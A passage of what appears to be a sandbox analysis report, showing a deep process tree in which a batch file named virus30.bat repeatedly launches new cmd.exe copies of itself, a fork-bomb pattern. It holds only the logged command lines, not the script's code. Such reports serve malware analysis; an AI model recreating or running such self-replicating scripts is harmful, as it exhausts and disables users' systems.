        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:13164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:13876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:7992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:12136
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:12152
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:3288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:7396
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:9824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:15304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:16288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:10236
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:15716
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:15568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:7404
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:9152
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:5612
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:9176
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:15916
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:5328
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:6956
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:4492
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:7340
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:8904
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:15892
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:5720
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:9000
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:12048
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:12064
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:7356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:9088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:12348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:12364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:9096
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:13028
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:13740
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:1648
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:7956
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:13060
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:13772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:7984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:11744
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:11816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:6380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:3860
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:5620
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:4600
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:9236
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:13124
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:13836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:9252
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:13140
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:13852
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:4356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:7332
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8912
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9004
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12496
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12512
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:7348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8928
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11832
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12880
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9072
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15988
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:2896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:4888
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:8048
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:11408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13036
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13764
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:12544
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:8064
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:12840
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:13280
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:1392
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:7364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9120
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12324
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9136
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13716
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:7380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9784
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16328
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:10208
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:1140
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:8624
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:12024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:12040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:8660
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:11904
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:11912
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        7⤵
        
        PID:6260
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:5940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:2188
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:7556
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:13052
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:13748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:7564
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:8444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:9396
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:11928
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:11944
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:9412
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:15380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:16700
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:8456
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:13488
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:14356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:1896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:9112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:12688
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:13180
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:9128
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:13000
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:13576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:1828
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:10192
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:16000
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:16352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:10816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:16960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:6960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:10184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:15796
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:16428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:10808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:15788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:11628
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:12580
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        6⤵
        
        PID:5868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
      4⤵
      PID:5356
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        5⤵
        
        PID:5576
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        6⤵
        
        PID:6244
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        7⤵
        
        PID:6728
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6448
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:5588
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:10176
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:15412
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:1480
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:16056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:2972
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:7508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12144
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12160
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:7524
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:11288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:16820
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:7064
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:11620
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:3712
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:7540
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:7548
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12176
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12192
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:5596
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:9312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:16172
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:15708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:9348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12436
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:16124
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        7⤵
        
        PID:6744
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6872
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:7156
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:5284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:2272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:9652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:14304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:16748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:9968
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:16164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:15428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:2316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:7884
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:11752
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:2644
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:11824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:7904
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:12824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:13264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:5292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:6184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:4640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:5744
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:4580
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:14308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13172
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13884
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:6024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9612
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:17028
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9928
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16156
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:4288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13108
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:1084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
